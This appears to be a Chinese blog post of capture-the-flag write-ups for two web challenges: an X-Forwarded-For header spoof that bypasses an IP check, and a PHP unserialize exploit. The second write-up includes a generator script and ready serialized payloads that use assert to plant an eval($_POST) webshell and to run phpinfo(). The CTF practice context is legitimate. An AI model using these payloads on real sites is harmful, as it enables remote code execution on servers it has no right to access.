2021-02-14

46 篇文章 0 订阅

[MRCTF2020] PYWebsite

考点:

X-Forwarded-For

启动环境:在这里插入图片描述
提示需要购买flag,查看网页源码时,发现:

<script>

    function enc(code){
      hash = hex_md5(code);
      return hash;
    }
    function validate(){
      var code = document.getElementById("vcode").value;
      if (code != ""){
        if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
          alert("您通过了验证!");
          window.location = "./flag.php"
        }else{
          alert("你的授权码不正确!");
        }
      }else{
        alert("请输入授权码");
      }
      
    }

  </script>

通过验证后将跳转到flag.php页面,访问flag.php页面:在这里插入图片描述
提示在后端验证了IP,还提示了需要购买者或自己IP,猜测可能是对X-Forward-For做了验证,使用BurpSuite抓取数据包:
在这里插入图片描述

在请求信息中添加:X-Forwarded-For: 127.0.0.1,发送数据包,得到flag:在这里插入图片描述

[NPUCTF2020]ReadlezPHP -wp

在这里插入图片描述查看一下源码,发现time.php?souce=在这里插入图片描述

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);


一个反序列
观察下__destruct()魔术方法在这里插入图片描述
属性b包裹住属性a
刚好可以传个木马进去
利用assert()函数

assert() 断言函数
assert详细介绍

assert 判断一个表达式是否成立
assert()可以将整个字符串参数当作php参数执行。

所以构造木马

assert(eval($_POST[penson]);)

序列化一下

<?php
error_reporting(1);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}

$test = new HelloPhp();
$test->b = 'assert';
$test->a = 'eval($_POST[penson]);';

echo urlencode(serialize($test));


?>


payload:
?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A21%3A%22eval%28%24_POST%5Bpenson%5D%29%3B%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D

蚁剑连接啥都没有…
去看看phpinfo
还是没有啥过滤,直接搜flag (Ctrl+f查找flag即可)

最后发现
这里不用一句话木马,可以直接传参就好。。。

很明显$b($a)这里可供我们操作。
system好像被禁了,用assert()

简单查看到反序列化,构造序列化字符传入,用断言assert()函数来读phpinfo
?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值